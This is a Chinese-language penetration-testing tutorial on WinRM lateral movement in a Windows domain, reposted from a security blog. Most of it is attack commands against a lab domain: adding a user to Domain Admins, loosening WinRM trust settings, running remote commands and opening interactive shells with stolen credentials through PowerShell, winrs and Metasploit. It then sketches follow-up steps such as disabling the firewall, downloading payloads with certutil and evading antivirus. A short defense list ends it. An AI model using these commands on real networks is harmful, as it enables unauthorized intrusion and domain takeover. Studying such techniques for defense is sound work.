内网渗透——WinRM横向
2023-5-15 11:58:42 Author: 银河护卫队super(查看原文) 阅读量:12 收藏

前言

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。

winRM横向移动同时适用于工作组和域环境。

利用条件

利用条件:1、win 2012之前利用需要手动开启winRM ,在win 2012之后(包括win 2012)的版本是默认开启的, 2、防火墙对5986、5985端口开放。
1:已经获取目标主机,或者是要打域控,域管账户明文密码的情况下 2:开启了5986 或 5985 命令:netstat -ano |findstr 5985 或 nmap -p 5985,5986 -sV 指定IP 3:在已拿下的主机上设置(启动WinRM服务,默认是启动的,因为当前是版本是win10,但最好是再使用下以下命令):命令一:winrm quickconfig 命令二:winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}

环境介绍域:god.com域控:win2012 god\administrator  [email protected]@@    192.168.29.176域管用户:god\key  [email protected]域用户:Win10   god\test     [email protected]         192.168.29.177注:实战中获取域管用户密码通常通过内存导出,进程注入,密码爆破,漏洞利用等方式进行获取
拓展:(添加域控命令)net user key [email protected] /add /domainnet group "Domain Admins" key /add /domainnet group "Enterprise Admins" key /add /domain
查看域管,成功将Key添加为域管用户net group "domain admins" /domain

利用方式

Powershell执行
1Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } 【工作组使用】//命令执行
2Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} 【域环境使用】//命令执行
3Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture} 【域环境使用】//命令执行
3Enter-PSSession -ComputerName 192.168.29.176 -Credential god\administrator 【域环境使用】//返回交互式shell

实例2:

Invoke-Command -ComputerName 192.168.29.176 -Credential god\key -command {whoami}

实例3:

Enter-PSSession -ComputerName 192.168.29.176 -Credential god\key  【交互式Shell

CMD执行1:winrs -r:http://192.168.29.176:5985 -u:用户名 -p:[email protected] "ipconfig" 【5985用http】
2:winrs -r:https://192.168.29.176:5985 -u:用户名 -p:[email protected] "ipconfig" 【5986用https】
获取交互式shell
3:winrs -r:http://192.168.29.176:5985 -u:域名\用户名 -p:[email protected] cmd 【5985用http】
4:winrs -r:https://192.168.29.176:5985 -u:域名\用户名 -p:[email protected] cmd 【5986用http】

实例1:

winrs -r:http://192.168.29.176:5985 -u:key -p:[email protected] "ipconfig"

实例3:

winrs -r:http://192.168.29.176:5985 -u:god\key -p:[email protected] cmd

MSF 使用流程

1、检测

use auxiliary/scanner/winrm/winrm_auth_methodset domain god.comset rhosts 192.168.29.176exploit 

2、确定我们获得的管理员凭据是否对其系统有效

auxiliary/scanner/winrm/winrm_loginset domain god.comset username keyset password [email protected]set rhosts 192.168.29.176set rport 5985

3、利用当前管理员凭据对目标主机win2012是有效的。确定凭据有效后,尝试对目标主机win2012执行命令

use auxiliary/scanner/winrm/winrm_cmdset rhosts 192.168.29.176set DOMAIN god.comset USERNAME administratorset PASSWORD [email protected]@@set CMD ipconfig   【需要执行的命令】

获取权限

通过以上方法横向到目标主机后,通过多种方式上线远控:列举一下三种(还有其他姿势暂且不写,以下三种为简单粗暴的): 

1:开3389,关防火墙,rdp上线 ,如果做了对3389做了安全策略,用netsh端口转发绕过即可 【其实在横向的时候,需要目标的密码,我们通过某些方式获取到后,但目标没有开放3389,但是开放了5985,5986服务,这个时候就可通过winrm横向过去】 

2、目标不出网certutil下载正向马执行,CS及MSF上线 【无杀软情况,有杀软做免杀】

3、目标出网powershell、反向exe,上线CS及MSF【无杀软情况,有杀软做免杀】

防御手段

1、设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器 

2、启用适当的身份验证和加密机制,例如 Kerberos 身份验证和进行 SSL 加密

3、下杀软,装waf,设置强密码等

4、实施网络隔离和分段,使得 WinRM 只能在受信任的网络区域内运行


作者key111,文章转载于FreeBuf

END

• 往期精选

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

下方点击关注发现更多精彩


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwNzI0MTQzOA==&mid=2247493272&idx=1&sn=60508d6ed5c3497c7bb09f3d4b59d58a&chksm=c0de9429f7a91d3f4aa15afd935847928b982692082598e0457c55a82b9b3ba57ec705d65c59#rd
如有侵权请联系:admin#unsafe.sh